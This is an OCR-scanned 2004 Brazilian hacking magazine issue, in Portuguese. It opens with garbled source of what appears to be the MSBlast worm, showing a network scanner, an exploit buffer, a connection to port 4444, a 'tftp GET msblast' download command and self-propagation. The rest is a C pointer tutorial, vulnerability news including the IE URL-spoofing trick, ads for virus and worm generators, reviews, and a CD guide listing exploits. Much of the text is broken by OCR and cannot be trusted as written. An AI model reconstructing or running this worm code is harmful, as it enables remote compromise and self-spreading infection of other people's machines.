writefds.fd count = 0;
tempvar3 = 0;

currsock = ssfi * 4];

while ( tempvar3 < writefds.fd count )

{

if ( (writefds.fd arrayltempvar3] ==

currsock) )

{

break;
}
tempvar3++;

if ( (writefds.fd count == tempvar3} &&
(writefds.fd count >= 0x40) }

writefds.fd arrayl[tempvar3] = currsock;
writefds.fd count++;

}

if ( select( NULL, NULL, &writefds, NULL,

&timeout ) < 1 )

{
}

else

{

closesocket( as[i * 4] );

namelen = 10;

// Obtem o nome de uma conexao peer

conectada ao socket

¥

getpeername( ss[i * 4], &name, &namelen

infect host( ss(i * 4], inet mtoa( in )}

// Finaliza socket
closesocket( ss[i * 4] )

El++;
return;

// Estah nco limite da la. parte do IP
(000 .xxx . xxx%x.XXx) ?

if

{

}

el 50254 1)

tl = 0;
goto inc twals start;

// Infecta Host

void

{

_edecl infect host( SOCKET s, char *cp )

SOCKET sploit socket;

struct sockaddr name;

char cmdbuffer [512], fake sockaddr [0x10],
buf [0x370 + 0x2CC + 0x3C];

char buf2[0x48], ipofsendingbox[0x10];

unsigned long argp = 0, ThreadlID;

int i, returnaddy, bindcode = 0, namelen;

// Constroi pacote
ioctlsocket( s, 0xB004667E, &argp );

if ( mystery dword2 == 1 )
{

returnaddy = 0x100139D;
}
else

{
}

memcpy ( buf2, 0, 0x48 );

memcpy ( buf, 0, 0x360 );

memcpy ( buf + 0x360, 0, 0x10 });

memecpy( buf + 0x370, 0, 0x2CC );:

memcpy ( buf + 0x394, 0, 4 );

*( (unsigned lomng *) &buf[0x370] ) += (unsigned
long) 0x166;

*( (unsigned long *) &buf[0x378] ) += (unsigned
long) 0x166;

memcpy ( buf + 0x370 + 0x2CC, 0, 0x3C );

memcpy ( buf + 0x370 + 0x2CC + 0x3C, 0, 0Ox30 );

returnaddy = 0x18759F;

*( (unsigned long *) buf[0x8] ) += (ungigned
long) 0x2CO0;
*( (unsigned long *) buf[0x10] ) += (unsigned

long) 0x2C0;

*{ (unsigned long *) buf[0x80] } += (unsigned
long) 0x2CO0;

*( (unsigned long *) buf[0x84] ) += (unsigned
long) 0x2CO0;

*( (unsigned long *) buf[0xB4] ) += (unsigned
long) 0x2C0;

*( (unsigned long *) buf[0xB8] ) += (unsigned
long) 0x2C0;
*{ (unsigned long *) buf[0xD0] ) += (unsigned

long) 0x2C0;
*( (unsigned long *) buf[0x18C] ) += (unsigned
long) 0x2C0;

// Faz o envio do pacote

if ( (send( s, &buf2, 0x48, NULL )) == -1 )
{
return;
i
if ( (send{ s, &buf, strlen( buf ), NULL )) == -1
)
{
return;

}
// Finaliza socket
closesocket( s );

Sleep( 400 );

// Inicializa um novo socket

if ( (sploit socket = socket( 2, 1, 0 }) == -1 )
return;

}

memset ( &name, (unsigned int) 0, 0x10 );

name.sa family = 2;

/! Acessa via porta 4444
sprintf( name.sa data, “%d”, htons( 4444 ) );

HANDLE hObject;
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sprintf( name.sa datal2],
nadiniamet adde( 00) ) ;

if ( {(connect(
sploit socket, &name, 0x10 ))

-1)
{

return;

memset ( &ipofsendingbox,
(unsigned int) 0, 0x10 ):
namelen = 0x10;

// Faz o envio de um pacote,
contendo um falso IP

memset ( &fake sockaddr,
(unsigned int) 0, O0x10 );

getsockname ( sploit socket,
&fake sockaddr, &namelen );

sprintf ( ipofsendingbox,

»%d.%d.%d.%d”,

(unsigned short)
fake sockaddr[4],

{unsigned short)
fake sockaddr[5],

(unsigned short)
fake sockaddzr[6].,

(unsigned short)
fake sockaddr[7]1 );

Sf )

{
}

closesocket( s )

=

// Cria uma thread para
enviar copias de si proprio
hobject = CreateThread(
NULL, NULL,
(LPTHREAD START ROUTINE)
send copy of self,
NULL,
NULL, &ThreadID ) ;
Sleep( 80 });

// Tenta acesso wvia TETP

sprintf( cmdbuffer, “tftp -i
%s GET %s\n”, &ipofsendingbox,
msblast ) ;

if ( (send( sploit socket,
scmdbuffer, strlen( cmdbuffer ),
NULL })) < 1 )

{
goto close socket;
}
Sleep{ 1000 );
for (i = 0; i < 10; i++ )
{
if ( mysterious dword =
0k )
{
ok al=¥-1,4]
1
else
{
Sleep( 2000 );
}
}
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TUTORIAL C

Tutorial de C

Ponteiros - Parte II

>> Comparacao de ponteiros

Em nossa ultima aula, ensinamas a atribuir um ponteiro, por
exemplo:

#include <stdio.h>

void push(int i);
int pop(wvoid) ;
int *tos, *pl, pilha[TAMANHO] ;
main () {

int wvalor;

tos=pilha; /* faz a varidvel tos conter o tocpo da
pilha*/
pl=pilha;

do {
printf (“Insira um valor:
scanf (#%d"”, &valor);
if (valor!=0) push(valox) ;
else printf(“valor do topo da pilha e %d\n”,

NG

pop(});
while (valorl=-1);
}
3

void push(int i) {

main () { pl++;

int a; if (pl==(tos+TAMANHO)) {

int *pil; printf (“Estoura da pilha”);
exit (1)

pl=&a; b

- *pl=i;

Contudo, nos podemos, além das operacoes basicas, comparar
ponteiros. Isso é feito quando dois ou mais ponteiros apontam para
um abjeto comum, sendo muito utilizado para rotinas de pilhas de
dados, onde valores inteiros precisam ser armazenados. No
conceito de pilha, o primeiro a entrar é o ultimo a sair. Existem duas
funcoes assembly gue tratam da pilha: a push(), gue coloca valores,
e a pop(), que as retira. Pademos fazer isso com ponteiros. Vamos
ver o exemplo abaixo:

#include<stdio.h>
#include <stdlib.n>

#define TAMANHO 100

}

pop (void) {

it (pl==to=) {
printf (“Estoura da pilha”); |
exit (1) :
} i

pl-;

return * (pl+1);

S posicoes para a nossa pilha
1 aponta para o primeiro
coes pushile pop(), que

comparam os ponteiros. Temos




Parte VI

>> Matrizes e ponteiros

i, aqual

D
Lo
0

| Estes dois assuntos possuern uma estreita relacao entr
muites autores atirmam ser muito sutil. Por exemplo, vamos ver o
comando abaixo:

—> Ponteire (contem endere-

#include <stdio.h>

main ()} {
i * ** -
char str[5], *pl; e = el p2:
a=6;
pl=str;
pl=&a;
pP2=&pl;

- Para cessarmes o guinto elemento da matriz, fariamos
strf4]e seu equivalente em ponteiro seria *(of+4). Lembre-
se que o primeiro elemento da matriz e ¢, loge o guinto é o
strf4/e, no caso do ponteiro, temos que somar 4a o7, pois
ele estd apontando para o primeiro elemento da matriz.
Nés ainda podemos fazer matrizes de ponteiros. Vela o
exemplo abaixo:

int *a[5];

E, para atribuirmos o endereco de uma variavel chamada nome ao

guarto elemento da matriz, faremos:

a[3]=&nome;

>> Indireciio Miiltipla

é possivel aumentar a dimensionalidade disso. Por exemaole, vamos

b

ver 0s esguemas abaix

C

— >Variavel (¢

Ponteiro (contém endereco) ———

Indirecao:

printf (“%d”, **p2); imprimira o valor de a;

}

oy

Aqui, o7 € o ponteirc inicial e, o2, 0 ponteiro que apenta para p/.

>> Conclusdes

char o conceito de
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pars guem esta iniciando
amacao. Na nossa

Antonio Marcelo Ferreira da Fonseca é autor de 12

Linux e mant

w
W)
(@]
o

-
fins

d
P (iwvww. freern.com. br) e

de Software Livre (www . sabrasel.org) na area de seguran-

=
£
]
[ @)
D
=
]
()
[
(Y]
A
5]
)
—
(@]
Y]
)
(7
{ o
(@]
()
%)
et
(&1
(10}
(¥}
D
fat]
e+
D
D
)
2]
=)
(@}
=
2%}
>
15j
Q
—
al

37




TECHBUGS it Marcelo R. Gomes e Cristian

- Tech Bugs: falha:

Falha no IE permite esconder URL real

Em dezembro de 2003, foi divulgada uma falha no Internet
Explorer que permitia a qualguer usudrio mal-intencionado
fazer links para sites falsos, fazendo-os parecer verdadeiros.

A falha do Internet Explorer possibilita gue qualquer valor seja
colocado no campo enderego. Explicando de maneira mais
especifica, vocé pode criar uma pagina no kit.net, mas fazer
com que aqueles que acessam esta pagina no Internet Explorer
pensem estar em outro endereco, colocando, por exemplo,
http/iwww.microsoft.com. brno campo endereco. O destino
verdadeiro é disfarcado normalmente pelo uso de URLs
especiais, da forma
www.sitecopiado.com.br@endereco.real kit.net

Isso ocorre devido ao fato de que qualquer coisa entre o HTTP:/
/e 0 @ serd ignorado, levando a vitima diretamente ao site
falso. Na realidade, o conteddo entre o http:// e a @ é usado
para autenticacdo. Por exemplo, se vocé quiser entrar em um
site que usa autenticacao htaccess, pode fornecer o login e
senha pelo endereco usando a sintaxe http://

usuario:senha@www.site.com.br. Como o'site ndo vai ter login
e senha, af sim, 0 que esté entre o http:// e @ ¢ ignorado.

Isso ainda deixa a URL um tanto estranha. No entanto, isso
pode ser disfarcado escondendo-se um caractere 0x01 antes
da@. O 0x01 (01 em hexa) & obtido através de um unescape()
em %01. Deste modo, o Internet Explorer nao exibird o que
vem depois da @ e o usuario inocentemente achard que esta
no endereco correto.

Segundo o que tem sido relatado, a falha atinge o IE 6.0. A
Total Security testou o [E 5.5 e ele também apresentou a falha.

A informacao sobre a existéncia dessa vulnerabilidade foi
enviada ao BugTrag, ao mesmo tempo que a Microsoft foi
notificada.

Um bom modo de se defender é nao atender a nenhuma
requisicao de entrar com senhas, especialmente as de banco,
vindas por e-mail. Entre diretamente no site oficial da empresa/
banco digitando diretamente no browser, a URL desejada para
garantir a sua seguranga. Nao use links externos.

A falha jé foi corrigida. Atualizar regularmente o browsere o
sistema operacional impede que vulnerabilidades sejam exploradas.
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>> Kernel do Linux:
vulnerabilidade na funcio
mremap()

No comeco de janeiro, foi descoberta uma falha relaciona-
da a funcao mremap, utilizada para o gerenciamento da
meméria virtual no kernel do Linux. A vulnerabilidade
afetava asséries 2.2, 2.4 e 2.6 do Linux. A falha permite
ganho de privilégios locais e execugao de cadigos. Um dia
depois de anunciada, correcdes jé estavam disponibilizadas
para diversas distribuicoes.

&

>> Falha no protocolo
H.323

Em meados de janeiro, foi anunciada uma falha no
protocolo H.323, utilizado para a transmissao de dudio e
video pela Internet. Este protocolo é utilizado por
diversos aplicativos de videoconferéncia, VolP, etc. A
falha permite ataques de negacio de servico e buffer
overflow. Uma enorme variedade de produtos de
diversas marcas utiliza este protocolo, como por exem-
plo, a Cisco, HP, Lucent, Avaya, Nortel, Fujitsu e a
Micrasoft. Corregdes para os produtos podem ser
encontradas com os respectivos fabricantes.

>> Ataques por bzip2-
bomb em diversos antivirus

A técnica apelidada de bzip2-bomb j4 é conhecida h3
algum tempo, mas no final de janeiro, percebeu-se que o
uso da mesma ainda pode levar a ataques de negacao de
servico em diversos antivirus conhecidos. Produtos da
Network Associates, Trend Micro, Kaspersky Lab e Amavis
foram afetados. A falha estd em uma rotina interna de
descompressdo de arquivos que permite a busca de virus
em arquivos compactados. Essas rotinas ndo conseguem
manejar adequadamente as bombas bzjp2, arquivos bzip2
com grande repeticao de caracteres, de forma que
arguives de 1,5KB compactados passam a ter mais de 2GB
descompactados. Os antivirus aparentemente trabalham
com limites de niveis de diretério, mas nio controlam
tamanho do arquivo nem tém algum cédigo para
deteccdo de situacoes andmalas. A consegiiéncia imediata
é negacdo de servico no antivirus. Visto que normalmente
0s antivirus armazenam os arquivos descomprimidos em
um diretorio temporario local (por exemplo, /tmp), pode
ainda ocorrer preenchimento de espaco livre em disco,
interrompendo a acdo do antivirus e normalmente
travando o software e até mesmo o sistema operacional.
Além disso, a operagio de descompressio das bzip2-
bombs exige alto consumo da CPU, o que causa lentidao
no sistema e até travamento. Corregoes podem ser
encontradas no site do fabricante do seu antivirus.
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> Real Player buffer overrun

No inicio de fevereiro, a RealNetworks anunciou que diversas versées do seu player multimidia Real Player estavam vulneraveis a
ataques que ocorriam por meio de falsos arquivos de dudio e video. Sao trés falhas descobertas: a primeira permite o redirecionamento
do navegador do usudrio para algum site especifico, a segunda permite a invasao do computador, dando acesso a arquivos & até
mesmo permitindo a execucao de cédigos na maquina e a terceira permite que ocorram erros de buffer overrun no sistema. Correcées

para as falhas podem:ser encontradas no site da RealNetworks.

>> Buffer overflow no
Yahoo! Messenger

Uma vulnerabilidade de buffer overflow foi encontrada no
comego de fevereiro nas versdes 5.6.0.1351 e anteriores
do Yahoo! Instant Messsenger, um-programa de troca de
mensagens instanténeas. A falha permite o travamento do
software e execucao de cddigos arbitrarios e ocorre
quando o Yahoo! Messenger tenta fazer o download de
arquivos com nomes muito longos. Segundo a Yahoo!, as
versdes 5.6.0.1358 e superiores ja estdo corrigidas, porém
nao adianta apenas atualizar seu software para corrigir a
falha, é necessario reinstalar completamente o produto.

>> TCPdump

>> Firewall ZoneAlarm

O firewall ZoneAlarm é um dos firewalls pessoais mais
utilizado no ambiente Windows, possuindo inclusive uma
versdo gratuita. Em meados de fevereiro, foi descoberta
uma vulnerabilidade em diversos softwares. As versées
atingidas, segundo a fabricante Zone Labs, sao: ZoneAlarm
4.0, ZoneAlarm Pro 4.0, ZoneAlarm Plus 4.0 e Zonelabs
Integrity client 4.0, assim como versées superiores. A
vulnerabilidade é um buffer overflow no processamento do
protocolo SMTP, que pode levar a ataques de negacéo de
servico e invasao do sistema. A atualizagdo pode ser feita
diretamente pelo software, clicando em Select Overviewy
Preferences e em seguida em Check for Updates.

O TCPdump é um programa para monitorar o trafego de dades em uma rede. Uma falha foi descoberta em meados de fevereiro,
envolvendo problemas na forma que o TCPdump decodifica pacotes de dados ISAMKP, RADIUS e L2TP, o que pode levar a um atague
de negacéo de servico interrompendo o registro de possiveis atividades ilicitas executadas por um atacante. Além disso, ainda existe
uma condicio de buffer overflow que pode levar a execucdo de cédigos na maquina vulneravel. Correcoes para as falhas podem ser
encontradas no site do TCPdump:

http:/Avww.tcpdump.org

>> MiCI'OSOft ASN.]. aplicacdes para permitir a normatizacao e o entendimento de

dados entre diferentes plataformas. Através da falha descober-
A Microsoft anunciou em fevereiro algumas falhas em ta, o atacante poderia executar cédigos arbitrarios no sistema
seus boletins de seguranca, entre elas, uma considerada através de um buffer overrun. Correcoes para esta falha
critica, na biblioteca ASN.1, presente em diversas versées podem ser encontradas no site da Microsoft. Além desta falha,
do Windows. A biblioteca ASN.1 (Abstract Syntax ainda foram anunciadas falhas no protocolo WINS e no
Notation 1) € um padrao de dados utilizado por diversas Microsoft Virtual PC for Mac.

Marcelo R. Gomes e Cristian T. Moecke sdo administradores da Total Security
(www.totalsecurity.com. br).




Delivery.
Acredite
nessa idéia.

Se vocé mora na cidade de

Rioc Branco, no Acre, nés
entregamos sua revista.

Se vocé mora no extremo sul

do Pafs, nés também entregamos
a sua revista.

A cobertura é nacional.

Correios, Internet, telefone.

=8 Acredite nessa idéia.
a
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Design Magazine | i

Flash: 50 tutoriais que Top 100: selecio dos melhiores s 2 5 ~ Universid:

Vvdo te ensinar tudo so- softwares para dudioevideo. = !]uerslﬂaﬂp svende todos os s

bre animagdes. Soundforge: tutorial exclusivo B s o

Photoshop: 1.500 daferramenta deediciomais =~ | Inclicinco - ROHsco
plug-ins e 40 tutoriais usada no mercado. ] mmsde3 GB desnftwares
completos. m as ferramentas preferidas

shadws para defesa econ-

I COMPRAR B COMPRAR |

PCBrasil2l ¢
D mumtn dos Hacker 2.0. Todas Foto digital: avaliagio das
asferramentas para vocé se melhores cimeras do mercado.
tornar um. Aprenda a trabalhar E-Commerce: Erol Small Store
3D em Maya, o programa do 3., um premiado software in-
mercado cinematrografico. glés para a criagio de lojas

virtuais. Completo no CD.

B COMPRAR ”‘“‘“"““ B COMPRAR

Hacker 1 Arquivo Linux II

Tudo que yocé precisa saber SuSE 8.2-Live Eval.

para quebrar senhase protegges. Finalmente a distribuicao

Porn Tools: as melhores ferra- Linux mais esperada de todos

mentas para tirar o méximo 05 tempos.

proveito dos sites proibidos - Selegiocomosprincipaispro-
gramas: KDE3.[ e
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A melhnr selegio de snitwares
de todos os tempos em um
(inico (D-ROM.

Bl COMPRAR |
Apmnciaz&iar Sites|
Umsuperguia para produscao
J!slies com as ferramentas
mais usadas.

ASP Tutorial completo, A lin-
guagem que torna seu conted-
dodinamico. Aprendizado f4-
il e rpido.

Bl COMPRAR | B COMPRAR [
Arquivo I.mma Arquivo I.mux?
Mandrake 9.0: guaia passoa Debian 3.0 Rl: o lintx para
passo de instalagan, profissionais que € totalmente
particionamento, configuracao - seguro e confidvel. Ainda, um
Web, programas da Distro, i- manual com todas as dicas

cas especiais e muito mais. para usar oseu 0.

W corPraR 1M comerar_
Audio e Video Dlgﬂzl? . _/ Geek Especial 6

Honte seu estidio em casa. Especial Audio Video. Trans-
Softwarese tutoriais para forme seu micro em um estidio
turbinar seugravadorde (D e digital.

sua placa de video. Hais de 100 programas para cri-

a, editar e processar filmes e
miisicas

B COMPRAR |
Hacker 6

Exploit Factory. Conheca o
programa para explorar e que-
brar servidores. Técnicas de
programagao & cidigo-fonte.
1DS: construa um sistema para
detectar invasores.

M comPrAR |

Hacker5

Evite invasdes: incrivel manu-
al para rastrearinyasdes na sua
maquina

Phreaking: aarte de hackear
tefefones estd desvendada.

B COMPRAR |
Hacker8

Firewall: transforme seu com-
putador em uma verdadeira
fortaleza. Anti-Spam: chega de
caixa lotada. Ntop: topo de

ferramentas de gerenciamento
de redes.

Bl COMPRAR
Hacker Especiall
Quebra de Programas: mais de
15 softwares para engenharia
feversa

Mais de 80 tutoriais C/C+ +,
Assembler, XML, SQL, Perl,
Linux, Aspen e outras.

Bl comPRaR |

PC Linux |

B COMPRAR
Hacker 9

Phreaking: frackeando telefo-
nes. No (D, os melhores
scanners, ferramentas e
tutoriais para voct descobrir os
segredos do seu telefone.
Espionagem digital: como fa-
261 & oMo evitar.

B comPRaR

Hacker 10

Slackware-live: Limux preferi-
do dos hackers que rodadireto
do €D

Open Wireless: 20

- ‘superferramentas para hackear
redes sem fio.

Bl COMPRAR |
PCBrasil Especial 3

Sistema completo: Linux que Kitdo Técnico em hardware

roda direto do £D. Nova ver- contendo20softwares paradi- £
sao! Demo Linux 3.0 — basea- agndstico e comecao + discos
do no Debian. Nao precisa ins- de boat, minidistro Linux...

tafar.

B[ COMPRAR | B COMPRAR |

Aprendaa Programarl Hacker 4
Tudo para vocé aprendera pro- Yirus! Worms & (ia. Geradores
gramar. Mais de 80 tutoriais de virus e worms.
em diversaslinguagens, mais Darwin: o sistema open source
de 1000 codigos-fonte, C/C da Apple baseado o BSD.
4+, dicas de Delphi, tudo Completo no (D.
sobre cracking e muito mais.

Para mais informacées: (11) 3217-2600 ou tech

atendimento@digerati.com.br. Vocé também pode
comprar sua revista pelo site www.digerati.com

Game Type |

Micropets: conheca os famosos
robds japoneses.

No (D: Devastation. Counter-
Strike  coisa do passada! Mais
graficos, estratégia e diversdo.

RS 11,90

B COMPRAR _

TopGames Extreme 3]
Encare os perigos e mistérios
daTerra Média ao lado de
Frodo, Aragorn e Gandalf.

No (D: Go Kart. Voe baixo
com os karts mais velozes do
planeta.

Bl COMPRAR
Top Games Evolution 24
Salve seu console: os melhores
técnicos do Brasil ensinam
Yocé a preservar sua maquina.
Metal Gear Solid 2 -
Substance: confira o video es-
petacularda nova pérola da
Konami.

COMPRAR
- PCMundo3
'Mzsli!mrpnhmnmfmgra

-~ maexclusivo desenvalvidopor

mzdrms para explicaro

Escreva seus dados aqui

Nome:

Endereco:

Bairro: CEP-:-

Estadozteer=nis o Grdade:
Data de nascimento: /

e =

DDD: Fone: Fax:

e-mail:

Mande cheque nominal ou vale postal para: Digerati

Comunicacio e Tecnologia Ltda.

Rua Haddock Lobo, 347 — 12° andar — Cerqueira Cesar

Sdo Paulo/SP — CEP 01414-001

prcy—my ¥ |

B COMPRAR

Game Blaster 4
Yur-Gi-Oh: finalmente as regras
em portugués. Facil de enten-
der e diffcil de deixar de
jogar.

Prepare-se para o duelo: cam-
pode batalha para vocB usar
com honra de duelista.

M CoMPrAR
Game Type Esp. | L
No CD: 300 cartas poderosas.
Conhega-asantes de comprar. &
Conhega as cartas mais famo-
sas domundo.

AR A

e maanal

arta sl

B comPraR |
Top Games Extreme 30
NoCD: s Panteras detonando
em um game incrivel!

0s Simpsons: a familia mais
maluca de Springfield esti de
volta com um game inédito!

ERrta = s

[1Vale postal
1 Cheque
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corte aqui
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NouUa 0iSCO D0 INCUBUS

Repetindo 2 mesma formula

Em 2001, o grupo estourou com o single “Drive” e os rapazes
aproveitaram a onda e logo lancaram “Morning View", seguido
doalbum “S.C.LE.N.C.E.”. Em 2003, o grupo lancou um disco ao
Vivo com as cancoes anteriores e um DVD de suas performances
ao vive.

Este ano, lancam “A Crow Left
a esquerda do assassino
anteriores. A

f The Murder”, ou “um corvo
" Nao ha muita diferenca dos albuns
banda parece nao ter evoluido musicalmente e
tampouco ganhado experiéncia.

0O estilo do vocalista Brandon Boyd lembra algo entre os
vocais do Pearl Jam e Silverchair, as vezes até dando a

. MEUrDGrON: DEEP HOUSE
COm Georia PoLiGica

; Emronil:n alnmin no EP Illn-usha anum:la Iam;n-
' 'mentn llu aillunn =

.'Apés_.lancar 0 EP_de'_cm.c_o faixas “Too 'Clo_se _td_ Dawn",
_produzido pela californiana Kéli, os alemaes LeDubDwell
" (André Kroenert) e Rsa =De Douse Iangam o EP “Purusha”.

 Com duas fasxas, o EP traz o mais puro e delicioso deep house
~ dosirmaos que ha alguns anos ainda promowam festas ilegais.

na c1dade de Guestmw

o pnmelra lmpressao que se tem ao ouvir ¢ de um som
| forte produzldo por uma técnica elaborada com vérios

~ dubs e com forte influéncia de acid house, algo ao mesmo

-Qtempo melédlco e h;pnétlco O EP faz parte dos preparat:—
| yos para o iangamento do dlbum “Texture of You”, em

' ’parcer_la com ©
~desse ano

- Como se njo bastasse, na apresentacao do grupo, encontra-se
uma de-scrig"é_'o-'hEOIudist'afdos ‘tecno rebels’ que fala de ecologia,
dos males irreversiveis gue estao sendo causados ao planetaea
idéia de uma ‘tecnologia apropriada’. De acordo com Alvin Toffler,
- autor do texto, os Neurotrons 530 parte de uma comunidade )
‘ planetérla que cresc 'multlphca a cada dla_.

i & .c__qnfifaiﬁ so’r‘n_;_a idéias e alguns downioads
http:/Awww.neurotron-music.com

SUBCULTURE

impressao de gue é um cover dessas bandas. Os recursos de
guitarra - wah, wah, distorcoes, som leve gue se torna
pesado no refrao - mostram pouca inovacao. Assim, o
Incubus chove no molhado, repetinde a mesma férmula
“grunge-gue-quer-ser-hardcore” e nio chega a lugar
algum. A faixa “Made for a TV Movie” reflete exatamente
esse meio termo.

Ja outras musicas, como a ultima “Sick Sad Little World”, ainda
chegam a produzir certa agradabilidade aos ouvides. Para quem
gostou dos &lbuns anteriores da banda, o disco até vale a pena.
Para guem procura som pesado de gualidade, melhor procurar
outra coisa.

selo Deep and Dark Recardings, para junho




L
@ filme promeie ser uma das melhores adapiag
dos guadrinhos

A adaptacao cinematografica do classico dos quadrinhos
Hellboy, criado por Mike Mignola, chega as telas dos Estados
Unidos no dia 04 de abril. Sua estréia no Brasil esta prevista para
junho de 2004.

O filme retrata a saga do adolescente, interpretado por Ron
Perlman, nascido no inferno e enviado a Terra para disseminar o
terror. O anti-herdi se transforma quando é resgatada por Dr.
Broom, um cientista que pesquisa a paranormalidade e que muda
sua vida, além de ser o responsavel por unir o par romantico gue
Hellboy forma com Liz Sherman, uma mulher com poderes para
controlar o fogo e interpretada pela atriz Selma Blair.

O filme teve suas filmagens acompanhadas pelo criador Mike
Mignola, prometendao ser uma das mais verossimeis-adaptacoes
dos gquadrinhos e foi dirigide por Guillermo Del Toro, que também
adaptou Blade Il para o cinema.

Confira no site oficial do filme o trailler, posteres e fotos:
http:/www.sonypictures.com/movies/hellboy/site/index_flash.html

CMMmes roOBOGICOS emM 2035

Will Smith investiga um assassinato
su;ﬁostamente cometido por um robé
em uma Chicago futurista onde os
andréides j& fazem parte da realidade
humana. Ele é o policial Del Spoonere a
grande novidade é a atuacao de NS-5
da Android Mechanics, o robo.

A descricie acima faz parte do filme
“|, Robot” (em portugués: Eu, Roba),
baseado no livro homénimo de Isaac
Asimov, cujo diretor é Alex Proyas, o
mesmo de Corvo: Cidade das Sombras.

Quando um cientista da US Robotics
se suicida, Del Spooner desconfia gue o
autor do crime na verdade seja um
robé.AsUposigéo, no entanto,
contraria as leis da robotica que

partern de trés principios basicos: os
robés ndo podem fazer mal a um
humano, devem sempre obedecer a
um humano (exceto quando em
conflito com a primeira lei) e devem
proteger a si mesmos (exceto gquando
em conflito com a primeira ou
segunda leis).

O drama principal do filme é pensar
que, se os robds nao respeitam tais leis,
0 que os impede de dominar o mundo?

O filme tem previsao de lancamento
nos Estados Unidos no dia 2 de junho.

Confira o site do andrdide e do filme:

http:/Awww.irobotnow.com

Y OuR®RY




Destirua o Seu carro

Simbolo de status, padrao de liberdade ou
tirann poluidor?

A maioria das pessoas tem uma relacdo de amor e 6dio com os automaveis.
Vendidos como simbolos de status, podem ser instrumentos de mabilidade em
cidades quase sempre mal servidas de transporte coletivo.

- Em paises como Brasll, por exemplo, onde os acidentes automobilfsticos sdo
grandes responsaveis por
mortes e pessoas desabilitadas
permanentemente, segundo
as estatisticas oficiais, mais de
20 mil pessoas morrem por
ano no Brasil.

E um absurdo que uma
cidade gigantesca como Séo
Paulo possua um dos
menores metrés do mundo,
muito mais timido gue os de
cidades como Buenos Aires,

que possui a metade dos
habitantes da capital
paulista.

Se quisermos discutir
todos os aspectos da tirania -

' automobilistica, podemos

- considerar a luta pelo
petrdleo, a poluicao do ar,
guerras, destruicdo do
verde, neuroses causadas
pela solidao nas cidades,
etc., etc. e muitos etc.

. NoBrasil, aindUstria de carros sempre foi a “menina dos olhos” de todos os
governos, militares ou civis. Comecando por Juscelino Kubitschek, toda a
politica brasileira de desenvolvimento industrial e toda a integragéo do pals se
basearam no nimero de carros produzidos e nos guilémetros de estradas
construidas. Nenhuma alternativa foi pensada, apesar das riquezas fluviais, do
menor custo do transporte ferrovidrio, etc. _

. Isso ndo importava, 56 a quantidade de cimento cortando a terra brasileira.
Da mesma forma, as industrias automobilisticas (todas estrangeiras) recebe-
ram todos os tipos de isencoes e incentivas.

Tratada com unanimidade na midia central, a ditadura dos carros comecou
aser questionada no chamado Primeiro Mundo, 4 nos anos 60 e se espalhou
pelo planeta. Mas ainda esta restrita a poucos setares mais conscientes e
miais criticos ao modo de vida ocidental.

Este livro da Editora Conrad traz uma série de artigos que guestionam a
imposicdo social do automével. Além de dados e teoria, ele ainda faz propos-

 tas praticas para resistir a essa ditadura. Tudo organizado pelo conhecido
ativista Ned Ludd.

_'Apocalipse Motorizado
A tirania do aufomdvel em um planeta poluido
Ned Ludd (org.)

~ Conrad Editora
R$ 22,00
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TECNOLOGIA

Torne-se um especialista
em Seguranca Digital
Destinado a profissionais

que tenham conhecimentos
emredes.

0 ICS CSO - Chief Security
Officer aborda:

N Fundamentos de seguranca
nas plataformas Windows
e Linux;

Padres de criptografia e
suas aplicagoes;

Politica de seguranca
adotada pelas grandes
empresas do mundo;

Comunicacdo Segura:
Firewall, VPN e
autenticacgao.

=Certificacoes com pagamento em até 12x
=15% de desconto nas turmas diurnas

Av. Paulista, 1009 - 9° Andar
telefone: (11) 3285.5566
www.impacta.com.br
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GUIA DO CD

Hacker 15

Qualquer micro com 32 MB de RAM e um
Pentium pode rodar o CD da Hacker. Muitos
programas, porém, exigirao muito mais da sua
méquina, ao serem instalados. O CD devera
roda automaticamente ao ser colocado no
drive. Se tiver problemas, é s6 entrar no
Gerenciador de Arguivos, no qual vocé também
poderd acessar cada programa individualmen-
te, sem usar a interface.

Destaques

Se vocé ndo conseguir instalar algum
software do CD ou se tiver alguma duavida,
entre em contato com nosso servico de
atendimento ao leitor, de segunda a sexta,

em horéario comercial.

Por e-mail: atendimento@digerati.com. br
Portelefone: (11)3217-2626

Neste’CD, vocé tem acesso a imporantes informacées. Exploits e Virus: estude os cédigos-fonte de
virus que atormentaram usuérios de Windows nos lltimos meses e confira também como eles
atacavam defeitos do Windows para se estabelecer. Uma coisa estd ligada a outra. Entanda

porque conhecimento é poder.

E, sendo assim, aprenda também como se proteger desses ataques. Nesta edicdo, confira duas
novas distros do sistema operacional livre voltadas para seguranca: o INSERT-1.2.4 e 0 L.A.S. Linux.

| Categorla' |
' Llnux Securlty

_EnGarde Connmm:ty Edmon

D g_strlbulg_ao Linux de;enyolv_lda para atender

as necessidades de quem quer avaliar o nivel
anca, com caracteristicas como
racao -segu_fa remota, deteccdo de
intrusos no host ou na rede, e-mail e FTP
sequiros, firewall, monitor do sistema de
acesso, centro de controle des seguranga
‘entre outras Suporte gratmto por 305

dias. (Obs para obtero supo te‘
c dé rar no site http I/

é preCIso se :

~>> Categoria: Exploits

Accipiter

O Accipiter Direct Server é suscetivel a ataques
do tipo traversal directory, gue permitem obter
arquivos fora do webroot.

Brokerftp: Duas vulnerabilidades no Broker FTP
Server versao 6.1.0.0 causam um crash no
server ao utilizar 100% dos ciclos da CPU.

Cesarftp

A versao 0.99e do CesarFTP tem um bug que
pode levar o sistema a consumir 100% de
Seus recursos.

Cisco_ons

Lista de varias vulnerabilidades em plataformas
Cisco, entre elas, a do servico TFTP, que na porta
UDP 69, pode ser ativado por default, permitindo
que tanto o comando GET, quanto o PUT sejam
executadas sem nenhum tipo de autenticacao.

Cross Domain Leakage

Falha do IE que permite framesets em dominias
diferentes captar varios eventos, incluindo os
do teclado.




Dnascan
Nova ferramenta para analise de configu-
racao de aplicacoes Web rodando ASP.Net.

configuracao usando apenas alguns
requests HTTP.

Geohttp
O GeoHttpServer é vulneravel a atagques de
authentication bypass e denial of service.

Hidsoft

Exploit para Windows FTP server versao 1.6.

Hydra 3.1
Nova versao do THC-Hydra, do grupo The
Hacker's Choice.

ISerack
Exploit de privillege escalation para IS 5.0.

Jordan telnet

Exploit de remote buffer overflow para o
ordan Windows Telnet Servervi.2.
Testado em Win32 e Unix.

Jsinject

Explora a vulnerabilidade do IE que permite
inserir uma URL javascript no historico do
navegador, causando assim um cross site/
zone atague guando o usuario pressiona a
tecla “Backspace”.

Idaped

Exploit remoto para o servico LDAP do iMail 8.05.

Viremap poc

Consegue detectar muitos erros comuns de

Palm OS httpd

Bug no hjttpd do PalmOS causa um crash
“Fatal Error”.

Pasvagg

